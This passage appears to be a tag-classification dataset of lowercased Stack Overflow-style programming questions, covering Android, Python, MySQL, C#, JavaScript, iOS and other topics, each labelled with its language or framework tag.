android contentresolver query giving wrong output  my app is not able to fetch any content from people.content_uri. insert is successful and the result is:  uri=content://contacts/people/15  the cursor print is:   <pre><code> cursor=&gt;&gt;&gt;&gt;&gt; dumping cursor android.content.contentresolver$cursorwrapperinner@d1caa72 &lt;&lt;&lt;&lt;&lt; position=-1 </code></pre>   i tried using cursor movetofirst after the query and the result log showed:   <pre><code>cursor=&gt;&gt;&gt;&gt;&gt; dumping cursor android.content.contentresolver$cursorwrapperinner@d1caa72 &lt;&lt;&lt;&lt;&lt; position=0 </code></pre>   code snippet:   <pre><code>import android.provider.contacts.people;  final contentresolver mresolver = mcontext.getcontentresolver(); mresolver.delete(people.content_uri  null  null); final contentvalues valuse = new contentvalues(); valuse.put(people._id   1 ); valuse.put(people.name   name ); uri uri = mresolver.insert(people.content_uri  valuse); log.d( myapp   preparepeople: uri=  +uri);  private final string[] mprojection = new string[] {         people._id  people.name }; final cursor c = mcontext.getcontentresolver().query(people.content_uri  mprojection  null  null  null); log.i( myapp   cursor=  + databaseutils.dumpcursortostring(c) +    position=  + c.getposition()); </code></pre>   please let me know what is wrong with my code snippet. the cursor output is not showing any of the values inserted.,android
how to create a session object in iphone  i am integrating facebook and twiiter api in my application. api is integrated well. now  i want to store username of both in session.     how will i create or declare session in objective-c application     thanks in advance,iphone
javascript: function declaration and function expression  i don t understand the following javascript example given by the book  head first javascript programing 2014  on page 469. can anyone please explain it to me (newbie)  thank you for your help.   <pre><code>function fun(echo) {      console.log(echo); };  fun( hello1 ); </code></pre>   console log prints > hello1    no problem with this.   <pre><code>function boo(afunction) {     afunction( boo2 ); } </code></pre>   q1: i don t understand this part at all. i can declare  (afunction)  as an argument of function  boo  without 1st declaring what  afunction  does       how does the function  afunction( boo2 );  works  i m passing a string call  boo2  into the afunction  but don t i need to declare what afunction does 1st before passing it a string      <pre><code>boo(fun); </code></pre>   console log prints > boo2    q2: why does it print  boo2   my confusion stems from the previous question. maybe if that is answered  i can understand this part    <pre><code>console.log(fun); </code></pre>   console log prints > function fun(echo) {console.log(echo);}    i think this is just printing out the type of function  fun   so this is ok.   <pre><code>fun(boo); </code></pre>   console log prints > function boo(afunction) {afunction( boo );}    q3: why does it print out the type for function  boo     <pre><code>var morefun = fun;  morefun( hello again3 ); </code></pre>   console log prints > hello again3    i read it as var morefun points to/ references fun. so it  becomes  fun. so this is ok.   <pre><code>function echomaker() {     return fun; }  var bigfun = echomaker(); bigfun( is there an echo4  ); </code></pre>   console log prints > is there an echo4     q4: why does it print out the string  is there an echo4   what does the  return fun;  do  i did not pass the string  is there an echo4   to function  fun   so how can it print out the string here,javascript
unable to case generic type as parent type  i have the following classes   <pre><code>public interface iengine {     void dosomething(); } </code></pre>   .   <pre><code>public interface ienginefactory&lt;t&gt; where t : iengine {     t create(); } </code></pre>   .   <pre><code>public class fooengine : iengine {     public fooengine(string id)     {         // do something with the id     }      public void dosomething()     {         // do something with the id     } } </code></pre>   .   <pre><code>public class enginessection : configurationsection {     [configurationproperty( engines   isrequired = true)]     public engineselement engines     {         get { return (engineselement) this[ engines ]; }         set { this[ engines ] = value; }     } } </code></pre>   .   <pre><code>public class engineselement : configurationelement {     [configurationproperty( foo   isrequired = true)]     public fooengineelement foo     {         get { return (fooengineelement) this[ foo ]; }         set { this[ foo ] = value; }     } } </code></pre>   .   <pre><code>public abstract class engineelement : configurationelement  ienginefactory&lt;t&gt; where t : iengine {     public abstract t create(); }  public class fooengineelement : engineelement&lt;fooengine&gt; {     [configurationproperty( id   isrequired = true)]     public string id     {         get { return (string) this[ id ]; }         set { this[ id ] = value; }     }      public fooengine create()     {         return new fooengine(id);     } } </code></pre>   and a web.config that contains   <pre><code>&lt;enginesection&gt;     &lt;engines&gt;         &lt;foo id= asdf  /&gt;     &lt;/engines&gt;     &lt;locales&gt;         &lt;engine locale= en-us  type= foo /&gt;         &lt;engine locale= en-ca  type= foo /&gt;     &lt;/locales&gt; &lt;/enginesection&gt; </code></pre>   my intent is to map the locales specified in the <code>locales</code> section  to the appropriate engine. the engine that is selected is the engine that was created by the config element. so the <code>type</code> value in the <code>engine</code> element is the element name in the <code>engines</code> section. in the future  there will be different engines with different parameters. each locale may only have one engine.    for example   <pre><code>&lt;enginesection&gt;     &lt;engines&gt;         &lt;foo id= asdf  /&gt;         &lt;bar timeout= 00:00:00.300  workers= 6  /&gt;     &lt;/engines&gt;     &lt;locales&gt;         &lt;engine locale= en-us  type= foo /&gt;         &lt;engine locale= en-ca  type= foo /&gt;         &lt;engine locale= en-gb  type= bar /&gt;     &lt;/locales&gt; &lt;/enginesection&gt; </code></pre>   my attempt to achieve this is this method:   <pre><code>idictionary&lt;string  string&gt; enginelocales = getenginelocalesfromconfig(); idictionary&lt;string  iengine&gt; engines = getenginesfromconfig(); idictionary&lt;string  iengine&gt; mappedengines = mapengines(enginelocales  engines);  // ... private static idictionary&lt;string  iengine&gt; getenginesfromconfig(engineselement engineselement) {     var engines = new dictionary&lt;string  iengine&gt;();      foreach (propertyinformation property in engineselement.elementinformation.properties)     {         var factory = property.value as engineelement&lt;iengine&gt;;          engines[property.name] = factory.create();     }      return engines; } </code></pre>   so that we have   <pre><code>|----enginelocales-----|          |---------engines---------| +----------------------------------+ | locale | engine type | engine    | +--------+-------------+-----------+ | en-us  | foo         | fooengine | | en-ca  | foo         | fooengine | | en-gb  | bar         | barengine | +----------------------------------+ </code></pre>   however  this does not work  because the case from <code>engineelement&lt;fooengine&gt;</code> to <code>engineelement&lt;iengine&gt;</code> fails. i don t want the code that maps these things to necessary be aware of the implementation.    is there a way to achieve this type of dynamic mapping without knowing the exact implementation  if not  what alternatives do i have,c#
horizontal scroll control  i have a list of items in an array. the items in the array is an nsdictionary which have an id(nick name) and a url to the profile picture. i need to show each item (profile image and id) inside a horizontal scroll view. if i need to show it as a vertical scroll view  i can use uitableview. but now i need a horizontal scroll view. is there any good idea to implement this feature. if i use uitableview  i can show each item in uitableviewcell. if i use uiscrollview with horizontal scroll enabled  which control is the best to contain id and image  uitableviewcell or uiview     thanks in advance,ios
mysql: add partition to existing table(with data)   i have a table with 1 million records. as my query will maily based on one column(32 constants). i am trying to add 32 partitions  use type list.     my application can t stop  there will be insert some record in the meanwhile  can i add partition to the table  does it impace my application. such as lock some rows duirng the partition.    i search the internet  but didn t find too much material abou the story of add partition to existing table      thank you.,mysql
how can i simplify my loop   this is what i have for my php loop:   <pre><code>&lt; php $varc = 6; $vard = 2; $vara = 1; $varb = 2; $varans = 0; $ct = 1; $ct2 = 1;  $varans = $vara * ($varb + $varc) / $vard;  while ($ct &lt;= 10) {     $varans = $vara * ($varb + $varc) / $vard;     echo  x = $vara * ($varb + 6) / 2 is equal to: $varans&lt;br&gt; ;     $vara = $vara + 1;     ++$ct; }  echo  &lt;br&gt; ;  $varb = $varb + 2; $vara = 1;  while ($ct2 &lt;= 10) {     $varans = $vara * ($varb + $varc) / $vard;     echo  x = $vara * ($varb + 6) / 2 is equal to: $varans&lt;br&gt; ;     $vara = $vara + 1;     $ct2 = $ct2 + 1; }  echo  &lt;br&gt; ;  $varb = $varb + 2; $vara = 1; $ct2 = 1;  while ($ct2 &lt;= 10) {     $varans = $vara * ($varb + $varc) / $vard;     echo  x = $vara * ($varb + 6) / 2 is equal to: $varans&lt;br&gt; ;     $vara = $vara + 1;     $ct2 = $ct2 + 1; }  echo  &lt;br&gt; ;  $varb = $varb + 2; $vara = 1; $ct2 = 1;  while ($ct2 &lt;= 10) {     $varans = $vara * ($varb + $varc) / $vard;     echo  x = $vara * ($varb + 6) / 2 is equal to: $varans&lt;br&gt; ;     $vara = $vara + 1;     $ct2 = $ct2 + 1; }  echo  &lt;br&gt; ;  $varb = $varb + 2; $vara = 1; $ct2 = 1;  while ($ct2 &lt;= 10) {     $varans = $vara * ($varb + $varc) / $vard;     echo  x = $vara * ($varb + 6) / 2 is equal to: $varans&lt;br&gt; ;     $vara = $vara + 1;     $ct2 = $ct2 + 1; }   &gt; </code></pre>   what i m trying to do is increment <code>$vara</code> by 1  til it gets to ten and  $varb  which starts at 2 and increments by 2 til 10... any ideas  i know there should be a way to simplify things  i just can t figure it out.,php
sorting the csv file based on by descending order of lawyer salary  i must use python to solve this. given a file <code>salaries.csv</code> with this structure:   <pre><code>city job salary  delhi doctors 500  delhi lawyers 400  delhi plumbers 100 london doctors 800 london lawyers 700 london plumbers 300 tokyo doctors 900 tokyo lawyers 800 tokyo plumbers 400 lawyers doctors 300 lawyers lawyers 400 lawyers plumbers 500 hong kong doctors 1800 hong kong lawyers 1100 hong kong plumbers 1000 moscow doctors 300 moscow lawyers 200 moscow plumbers 100 berlin doctors 800 berlin plumbers 900 paris doctors 900 paris lawyers 800 paris plumbers 500 paris dog catchers 400 </code></pre>   sorting the csv file based on by descending order of lawyer salary    the output should the like this:    <pre><code>tokyo 800  london 700  delhi 400 </code></pre>   i am using the following code.    <pre><code>import csv        reader = csv.dictreader(open( salaries.csv   rb ))     rows = sorted(reader)     a={}     for i in xrange(len(rows)):         if rows[i].values()[2]== lawyers :             a[rows[i].values()[1]]=rows[i].values()[0]     t = [i for i in sorted(a  key=lambda key:a[key]  reverse=true)]     p=a.values()     p.sort()     p.reverse()     for i in xrange(len(a)):         print t[i]+   +p[i] </code></pre>   however  i am getting the following error:    <pre><code>nameerror( global name  a  is not defined  ) </code></pre>   can someone help me  please,python
how to : python convert bytes to readable ascii/unicode  this is the bytes i have received and i would like to convert  byte[5] + byte[6] + byte[7] + byte[8] to ascii readable text.   <pre><code>s=b 0f0000004e52303947303531363400  </code></pre>   bytes[5]~[8] ascii/unicode is nr09    please help thanks.,python
error while listing scanned bluetooth low energy device  i am developing an android application which scans and displays the bluetooth low energy devices in a listview. my problem is i am able to display only one item in the listview even if there are many ble devices.i am using arraylist and arrayadapter which is very essential.below is part of my code  can anyone tell me what is my error and how i can overcome it.   <pre><code>public class scanlist extends activity { public  listview scandevicelist; private  bluetoothadapter mbluetoothadapter; private  handler mhandler; private  arrayadapter&lt;bluetoothdevice&gt; adapter1; context context; activity activity; public  arraylist&lt;bluetoothdevice&gt; devices; public string mdeviceaddress mdevicename; private static final int request_enable_bt = 1; // stops scanning after 10 seconds. private static final long scan_period = 10000;    @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.scanned_device);     scandevicelist = (listview) findviewbyid(r.id.scandevicelist);     mhandler = new handler();     final bluetoothmanager bluetoothmanager = (bluetoothmanager) getsystemservice(context.bluetooth_service);     mbluetoothadapter = bluetoothmanager.getadapter();  } @override protected void onresume() {     super.onresume();      if (!mbluetoothadapter.isenabled()) {         intent enablebtintent = new intent(bluetoothadapter.action_request_enable);         startactivityforresult(enablebtintent  request_enable_bt);     }       scanledevice(true); }  public  void scanledevice(final boolean enable) {     if (enable) {         // stops scanning after a pre-defined scan period.         mhandler.postdelayed(new runnable() {             @override             public void run() {                 mscanning = false;                 mbluetoothadapter.stoplescan(mlescancallback);                 invalidateoptionsmenu();             }         }  scan_period);         mscanning = true;         mbluetoothadapter.startlescan(mlescancallback);     } else {         mscanning = false;         mbluetoothadapter.stoplescan(mlescancallback);     }     invalidateoptionsmenu(); }  public  bluetoothadapter.lescancallback mlescancallback =         new bluetoothadapter.lescancallback() {              @override             public void onlescan(final bluetoothdevice device  int rssi  byte[] scanrecord) {                 runonuithread(new runnable() {                     @override                     public void run() {                         devices = new arraylist&lt;bluetoothdevice&gt;();                         devices.add(device);                         adapter1 = new arrayadapter&lt;bluetoothdevice&gt;(scandevicelist.getcontext()  android.r.layout.simple_list_item_1 devices);                         scandevicelist.setadapter(adapter1);                       }                  });              }           }; } </code></pre>,android
link button to view controller programmatically xcode  i am starting with xcode    how i can bind a button to a view controller programmatically     ctrl + drag cursor already i have done,objective-c
how to access variables from parent class to child class  <pre><code>class approxalumni():     def __init__(self  year_est  currnt_intake):         self.year_est=year_est         self.currnt_intake=currnt_intake         t1 = prettytable([ established year    &lt;1960    1960-1980    1980-2000    2000-2010    2010-2018 ])         t1.add_row([     10%    10%    20%    50%    100% ])         if year_est&lt;=1960:             t1.add_row([   abs((currnt_intake/100)*10)            ])             print(t1)             s1= (abs((currnt_intake/100)*10))             print( total approximate alumni strength is: + str(s1))         else:             pass   class reg_approx(approxalumni):     def reg(self):         t2= prettytable([ approximate registration    year-1    year-2    year-3    year-4    year-5 ])         #t2.add_row([    1%((approxalumni.s1)/100)   10%    20%    50%   100% ])         #t2.add_row([    1 % ((approxalumni.s4) / 100)   10%    20%    50%    100% ])         print(t2)   approxalumni(     year_est=int(input( enter established year of the institute: ))      currnt_intake=int(input( enter current intake of institute: )) ) </code></pre>   i want to use  s1  in child class to do some calculations and print it in table what is the method to use variables from the parent class in child class,python
mysql calculating running total without variables  i m trying to develop a script to update the running total within a table:   <pre><code>update transactions set running_total = (select sum(amount) from transactions t2 where t2.sequence_number &lt;= transactions.sequence_number) </code></pre>  <ul> <li>running_total = the cumulative sum of the amount column</li> <li>sequence_number = the order in which transactions occurred: 1 2 3 4 5...</li> </ul>   mysql is expectedly showing error <em>you can t specify target table  transactions  for update in from clause</em>    how can i re-write this script <strong>without</strong> using variables (i.e.  by relying only on joins  etc.),mysql
"how to initialize a config / run in angularjs after a delay   my html &amp; js is below. can we insert a run / config after a delay in angularjs      <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>  
 var app = angular.module( demo   []);
 
 app.controller( mainctrl   function($scope) {
   $scope.name =  world ;
 });
 
 settimeout(function(){
   angular.module( plunker ).run(function($rootscope){
 
     $rootscope.$apply(function (){
         $rootscope.hello =  works ;
 
   });
 
   });
 } 1000);</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;section ng-app= demo &gt;
 
   &lt;div ng-controller= mainctrl &gt;
     &lt;p&gt;hello {{name}}!&lt;/p&gt;
     {{$root.hello}}
      
   &lt;/div&gt;
 &lt;/section&gt;</code></pre>
 </div>
 </div>
     i would appreciate if anyone can help with this. thank you :)",angularjs
asp.net split / test text content  for me this task can be done easily with javascript by <code>indexof() &gt; -1</code>  but i don t really know how to start my coding with asp.net. i got some urls look like below   <pre><code>www.google.com/this/that/new/this-url/bad www.google.com/this/that/new/this-url/good www.google.com/this/that/this-url/useless </code></pre>   i d like to test if the url contents <code>/this-url/</code> if yes  then remove from <code>/this-url/</code> and rest so the output is   <pre><code>www.google.com/this/that/new/ www.google.com/this/that/new/ www.google.com/this/that/ </code></pre>   if someone could help me out please  thanks,asp.net
figuring out the difference in hours between two 24-hour times in sql  i have a data set for appointments with start and end times for each appointment. i need to calculate the amount of time the appointment lasted in hours  but the two fields are in 24-hour time and formatted as <code>integer</code>. to make things even worse they re formatted as both 3 and 4 character integers so <code>830</code> and <code>1630</code> for example  not <code>0830</code> and <code>1630</code>.    what would be the best way to create a column with the number of hours between those two columns  i ve tried converting them to <code>char</code> and then taking a substring of the last two  but i can t get it to work for both the 3 and 4 time lengths.    it currently looks like this:   <pre><code>╔═══════════╦═════════╗ ║ starttime ║ endtime ║ ╠═══════════╬═════════╣ ║       830 ║    1600 ║ ║       400 ║     800 ║ ║      1350 ║    1400 ║ ╚═══════════╩═════════╝ </code></pre>   and i d ideally like it to look something like this:   <pre><code>╔═══════════╦═════════╦═══════╗ ║ starttime ║ endtime ║ hours ║ ╠═══════════╬═════════╬═══════╣ ║       830 ║    1600 ║ 7.5   ║ ║       400 ║     800 ║ 4     ║ ║      1350 ║    1400 ║ .5    ║ ╚═══════════╩═════════╩═══════╝ </code></pre>,sql
in mysql how do i join using a middle table to get the third table data if it exists   i m not sure how to word this question  so let me give an example of my problem.    i have:   <pre><code>select p.id  p.name  p.info  r.name   from p   left join q on q.p_name = p.name   left join r on r.id = q.r_id and r.type =  bar    group by p.id </code></pre>   for the tables  assume i have   <pre><code>p +--+-----+-----+ |id|name |info | +--+-----+-----+ | 1| abc | yes | | 2| def | no  | | 3| ghi | myb | | 4| jkl | yes | +--+-----+-----+  q +------+----+ |p_name|r_id| +------+----+ | abc  | 2  | | abc  | 3  | | abc  | 1  | | def  | 3  | | def  | 4  | | hij  | 2  | | hij  | 3  | +------+----+  r +--+-----+-----+ |id|name |type | +--+-----+-----+ | 1| cya | bar | | 2| hi  | grt | | 3| bye | foo | | 4| ltr | bar | +--+-----+-----+ </code></pre>   what i want to end up with is:   <pre><code>desired output +------+--------+--------+--------+ | p.id | p.name | p.info | r.name | +------+--------+--------+--------+ | 1    |  abc   |  yes   |  cya   | | 2    |  def   |  no    |  ltr   | | 3    |  ghi   |  myb   | null   | | 4    |  jkl   |  yes   | null   | +------+--------+--------+--------+ </code></pre>   when i try the above query  i get the equivalent of this:   <pre><code>wrong output +------+--------+--------+--------+ | p.id | p.name | p.info | r.name | +------+--------+--------+--------+ | 1    |  abc   |  yes   | null   | | 2    |  def   |  no    | null   | | 3    |  ghi   |  myb   | null   | | 4    |  jkl   |  yes   | null   | +------+--------+--------+--------+ </code></pre>   when i try changing the query by adding a  where  clause to   <pre><code>select p.id  p.name  p.info  r.name   from p   left join q on q.p_name = p.name   left join r on r.id = q.r_id where r.type =  bar    group by p.id </code></pre>   i get the following incorrect output   <pre><code>incorrect output +------+--------+--------+--------+ | p.id | p.name | p.info | r.name | +------+--------+--------+--------+ | 1    |  abc   |  yes   |  cya   | | 2    |  def   |  no    |  ltr   | +------+--------+--------+--------+ </code></pre>   how do i get the desired output in a timely manner     edit: if i remove the  group by   i am left with the following incorrect output:   <pre><code>+------+--------+--------+--------+ | p.id | p.name | p.info | r.name | +------+--------+--------+--------+ | 1    |  abc   |  yes   | null   | | 1    |  abc   |  yes   | null   | | 1    |  abc   |  yes   |  cya   | | 2    |  def   |  no    | null   | | 2    |  def   |  no    |  ltr   | | 3    |  ghi   |  myb   | null   | | 3    |  ghi   |  myb   | null   | | 4    |  jkl   |  yes   | null   | +------+--------+--------+--------+ </code></pre>,mysql
class x  has no member  y   this error is inexplicably occurring. here is the code and output:    timer.cpp:     <pre><code>#include  timer.h  #include  sdl.h  #include  sdl_timer.h   void ctimer::recordcurrenttime() {     this->previous_t = this->current_t;     this->current_t = sdl_getticks(); }</code></pre>   timer.h:     <pre><code>#include  sdl.h  #include  sdl_timer.h   class ctimer { private:     int previous_t;     int current_t;     float delta_time;     float accumulated_time;     int frame_counter; public:     void recordcurrenttime();     float getdelta();     void incrementaccumulator();     void decrementaccumulator();     bool isaccumulatorready();     void incrementframecounter();     void resetframecounter();     int getfps(); };</code></pre>   compiler errors:     <pre>make g++ -wall -i/usr/local/include/sdl -c timer.cpp timer.cpp: in member function ‘void ctimer::recordcurrenttime()’: timer.cpp:6: error: ‘class ctimer’ has no member named ‘previous_t’ timer.cpp:6: error: ‘class ctimer’ has no member named ‘current_t’ timer.cpp:7: error: ‘class ctimer’ has no member named ‘current_t’ make: *** [timer.o] error 1</pre>   compiler errors after removing the #include  timer.h    <pre> g++ -wall -i/usr/local/include/sdl -c ctimer.cpp ctimer.cpp:4: error: ‘ctimer’ has not been declared ctimer.cpp: in function ‘void recordcurrenttime()’: ctimer.cpp:5: error: invalid use of ‘this’ in non-member function ctimer.cpp:5: error: invalid use of ‘this’ in non-member function ctimer.cpp:6: error: invalid use of ‘this’ in non-member function make: *** [ctimer.o] error 1 </pre>,c++
r.java not generating for few projects  when i am making projects  i face a problem of r.java file not getting generated for few projects.    for rest of my projects it works fine. if there is problem whys is it coming to few projects.    i have updated sdk tools as well  cleaned the project  checked for errors but after doing that i came up with no result.    please help me to resolve the problem if anyone also face the same problem.,android
variables id() in python  i have a question about the variables id() in python:   <pre><code>a=[2 3] b=a print b &gt;&gt;&gt;[2  3]  a.remove(2) print b &gt;&gt;&gt;[3] </code></pre>   this is because id(a) == id(b) ; how can i avoid this  i need to define  b  in another way,python
java: implementing a list  so i m learning java and i want to implement a singly-linked list  but when i try to print it  it goes into an infinite loop  printing only the first element  as if the <code>temp</code> doesn t get reassigned. what s wrong here    <pre><code>public class cons { public int stuff; public cons next;  public cons(int i) {   this(i  null); }  public void show() {   cons temp = this;    while(temp != null)   {     system.out.println(temp.stuff);     temp = temp.next;   } }  public void push(int i) {   stuff = i;   next = this; }    public static void main(string[] args)   {     cons head = new cons(2);     head.push(3);     head.push(12);     head.show();   } } </code></pre>,java
event listener .change doesn t respond  i have an input box in which a user type an e-mail. if the input is != 0  i want my script to keep a button in my dom disabled. however  if it change and the value becomes > 0  i want it to enable my button.     unfortunately nothing happens.    this is what i have so far:    <pre><code>&lt;script src= ~/scripts/jquery-3.1.1.js &gt;     $(document).ready(function(){         $( #input1 ).change(function(){             if($(this).val().length &gt; 0){                 $( #emailsignup ).prop( disabled   false);             }             else{                 $( #emailsignup ).prop( disabled   true);             }         })     }); &lt;/script&gt;    </code></pre>   html:   <pre><code>@html.textboxfor(model =&gt; model.email  new { id= input1   class =  form-control   style =  display:inline-block; max-width:200px   placeholder= example@example.com   type= email }) &lt;button disabled type= submit  class= btn btn-default  style= display:inline-block  id= emailsignup &gt;tilmeld&lt;/button&gt; </code></pre>,jquery
notifycollectionchangedeventargs checking what it contains  this is my implementation of method i use as a parameter of:    <code>system.collections.specialized.notifycollectionchangedeventhandler</code>    ->   <pre><code>void _students_collectionchanged(object sender  system.collections.specialized.notifycollectionchangedeventargs e) {     string xxx =   ;      if (e.newitems != null &amp;&amp; e.newitems[0] != null &amp;&amp; e.newitems[0] is student)     {         xxx = (e.newitems[0] as student).name;     }      lstlog.items.add(string.format( {0} name:   xxx));  } </code></pre>   as you can see i use triple check to make sure that the program will not crush here.    is there any better way of solving this problem     thank you!,c#
assign fastforward mpmovieplayercontroller  how can i assign whats going to happen when you press fastforward or rewind     i have a couple of youtube videos that i want to play after eachother. therefor i need to assign these 2 buttons in the mpmovieplayercontroller. i ve tried to search on this subject  but have not found anything yet.    the other thing is how can i check wether a song is done  cause i want it to automatic to go forward then.    <img src= https://i.stack.imgur.com/pwzte.png  alt= enter image description here >    how can i do this,objective-c
when is  storage almost full  triggered on ios  i have an app which uses a lot of the sandbox cache temporarily. i would like to prevent the os from triggering the  storage almost full  warning by not filling up the disk beyond the trigger point.    i cannot find documentation on how this level is set.    is it configurable for the user   is it unique to the device or ios version      <img src= https://i.stack.imgur.com/8furz.png  alt= enter image description here >,ios
currency converter! (if statements)  im quite new at javascript however i have been trying to create a currency converter using html select which is working great  however when calling the function it seems to skip straight over the if statements straight onto the else { } statement   <pre><code>function convusd() {     rate_gbp = 0.632111252;     rate_euro = 0.746435769;     rate_aud = 0.92945441;      if(document.selectbox.slboxcurrency.selectedindex == 0 &amp;&amp;  document.frmcurrencyc.radiousd.checked)     {         window.alert( sorry cant do usd to usd convertion! please select another value. );     }     else if(document.selectbox.slboxcurrency.selectedindex == 0 &amp;&amp;  document.frmcurrencyc.radiogbp.checked)     {         inputbox = parsefloat(document.frmcurrencyc.textinputnum.value);         outputbox = inputbox * rate_gbp;         document.frmcurrencyc.textoutputtotal.value = outputbox;     }     else if(document.selectbox.slboxcurrency.selectedindex == 0 &amp;&amp;  document.frmcurrencyc.radioeuro.checked)     {         inputbox = parsefloat(document.frmcurrencyc.textinputnum.value);         outputbox = inputbox * rate_euro;         document.frmcurrencyc.textoutputtotal.value = outputbox;     }     else if(document.selectbox.slboxcurrency.selectedindex == 0 &amp;&amp;  document.frmcurrencyc.radioaud.checked)     {         inputbox = parsefloat(document.frmcurrencyc.textinputnum.value);         outputbox = inputbox * rate_aud;         document.frmcurrencyc.textoutputtotal.value = outputbox;     }     else     {         window.alert( whoops there was an error );     } } </code></pre>   the first if statement works fine however when i actually want to do for example usd to gbp it heads straight to the else statement.    if you guys spot any errors or just well anything it would be much appreciated.,javascript
easiest way to call a method in another class   of anything in objective c this drives me the most insane time and time again. (please excuse me if i have any terminology wrong)    (using arc)    using <a href= https://github.com/devindoty/ddmenucontroller  rel= nofollow >ddmenucontroller</a> i load 2 menu s similar to the facebook app; leftcontroller and rightcontroller    in rightcontroller.h and m i pull an httprequest and load a list of friends. loaded from leftcontroller.h and m  i have a add friends view controller.    when a friend is added from addfriendsviewcontroller.h and m  i need to update the list of friends in rightcontroller by calling -(void) getfriends    i ve tried notifications  i ve tried setting up shared instances  nothing seems to work for me :( my biggest problem from most of the examples i ve seen is i still need to call getfriends on viewdidload in rightcontroller.m and everytime i change  it  i crash when loading rightcontroller    please let me know what code anyone would like to see; i ve removed everything i tried as it wasn t working...,objective-c
how to update new version with different apple id   i want to solve problem and try to understand what is proper way.    lets say bob released application with name <code>myappl</code> and ver. 1.0.1 to app-store with bundle id <code>bundle_bob</code> and apple id <code>apple_id_bob</code>.    now mike (other guy) whats to release new version (new build) 1.0.2 with the same name <code>myappl</code>  bundle id <code>bundle_bob</code> but different apple id <code>apple_id_mike</code>.     mike has bob s account (a.e user/password to itunes connect and distribution provision files).    so what i need to do     from <a href= http://developer.apple.com/library/mac/#documentation/languagesutilities/conceptual/itunesconnect_guide/11_editingandupdatingappinformation/editingandupdatingappinformation.html  rel= nofollow >apple site</a> <em>updates keep the same apple id and bundle id</em>    how to change apple id to new version to <code>apple_id_bob</code>     thanks,ios
itterate one result at a time where a if clause is true  so i have a condition that checks to see it the users id from the users table is the same as the user id that is attached to the post  and after that i want to attach a specific link for each post that meets that conditions with the actual posts data:   <pre><code>&lt; php if($post-&gt;user_id == $first): &gt;                 &lt; php foreach($code1 as $k=&gt;$codes1):  &gt;                 &lt;div class= imgset &gt;                   &lt;a href=  modify.php 1u=&lt; php echo $codes1-&gt;code; &gt; &gt; &lt;!--hyperlink to edit text --&gt;                  &lt;img src= img/settings.png /&gt; &lt;!-- edit logo --&gt;                   &lt;a/&gt;                 &lt;/div&gt;                  &lt; php endforeach; &gt;                &lt; php endif;  &gt; </code></pre>   example: if <code>$post-&gt;user_id== $first</code>  my code will show all the value that <code>$code</code> gets from the database  i want to show one result at a time for each posts where the <code>$post-&gt;user_id== $first</code>.      to be more specific  if i have more posts with that meet the same condition in the if clause i want to attach to that kink the code that is specific to that posts  but my program return for each condition meet all the result from the database.,php
passing asp.net databound object parameter to javascript  i have an asp hyperlink inside a repeater. i want to call some javascript from the nagivate url and pass into the js function a property from the databound object.    <pre><code>&lt;asp:repeater id= reprecentdocuments  runat= server &gt;     &lt;itemtemplate&gt;         &lt;asp:hyperlink id= hyperlink1  runat= server  navigateurl= javascript:getrecentdoc( &lt;%# ((recentdocs)container.dataitem).link %&gt; )  text= &lt;%# ((recentdocs)container.dataitem).name %&gt;  /&gt;     &lt;/itemtemplate&gt; &lt;/asp:repeater&gt; &lt;asp:button id= btngetrecent  runat= server  style= display:none  onclick= getrecentdocument  /&gt; </code></pre>   but the property is not resolved and this is the value of the variable that is passed in.     <pre><code>&lt;%# ((recentdocs)container.dataitem).link %&gt;  </code></pre>   any suggestions,asp.net
using routes in asp.net gridview hyperlinks  i have a gridview with a hyperlink column. i want to route(navigate) using hyperlinks depending on the id value from the database.   <pre><code>&lt;asp:hyperlinkfield  datanavigateurlfields= id                         datanavigateurlformatstring= product  datatextfield= pname                         headertext= product name           navigateurl= &lt;%$ routeurl:id=eval( id )  routename = productroute%&gt;          /&gt; </code></pre>   this results in an error message:   <blockquote>    404 page not found  </blockquote>   how can this be fixed   .,asp.net
desiging html forms <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/7477/autosizing-textarea >autosizing textarea</a>    </blockquote>     hi     i have developed a web form where one field is description. i want that field to be bigger in size  so that users can see the full description. how do i do that     thanks,html
acessing network shared folder with a username and password string in vb.net  i am using the following code to read the details from a network folder which is restricted for only one user   <pre><code>shell( net use q: \\serveryname\foldername /user:admin pwrd   appwinstyle.hide  true  10000)             process.start(path) shell( net use q: /delete ) </code></pre>   when i run this to open any pdf or jpg or any other files except word/excel/powerpoint  everything is working fine. but the problem comes only when i access a word file.    in the step one  i am giving permission to access the word file. in the step two  word file is open. in the third  i am deleting the q drive.    the problem is the word file is still open. so i am getting a dos window  saying that  some connections of still connected or searching some folders  do you want to force disconnect  please help.... how to access a word file (editable files) providing user name and password from the code and at the same time he shoud not have access to any other folders directly.,.net
accessing types in another project from a dll (c#)  i m looking to load a dll into another project (assembly.load*() etc  at runtime). it would be much simpler for me if there were a way to include the types (i.e. classes) from the main assembly  into the dll  so i can pass them (well  objects) in method calls.    in c++ i could just include the declarations  but (so far as i know) there s no way to do that in c#. i may end up having to just  reference  the whole main program into the dll s  but it seems like there s gotta be a better way.    (basically the dll s are runtime modules  which need info from the main program to do processing on. however the main assembly also needs access to quite a bit of the stuff the modules need access to.),c#
new to c++: having issues maintaining trailing zeros on a decimal value  i am attempting to create a gas\miles driven\mpg log that loops until the sentinel value of -1 is entered. it then provides the accumulated totals for gallons used  miles driven  and overall avg. mpg. here is my code:   <pre><code>int main(void) {      startup();   //indicates beginning of code      double startmileage = 0;              //indicates starting mileage  initialized at the value of 0     double endmileage = 0;                //indicates ending mileage  initialized at the value of 0     double milesdriven = 0;               //indicates total miles driven  initialized at the value of 0     double gallonsused = 0;               //indicates total gallons used  initialized at the value of 0     double milespergallon = 0;             //indicates total miles per gallon  initialized at the value of 0     double totalgallonsused = 0;     double totalmilesdriven = 0;     double totalmilespergallon = 0;       while (true)     {         cout &lt;&lt;  enter the gallons used (-1 to end):   ;                    //prompts user to enter total number of gallons used for trip         cin &gt;&gt; gallonsused;                                                 //user enters data         totalgallonsused += gallonsused;         if (gallonsused == -1)          {             break;                                                          // check for sentinel value of -1         }          cout &lt;&lt;  enter the starting mileage:   ;                                //prompts user to enter start mileage for trip         cin &gt;&gt; 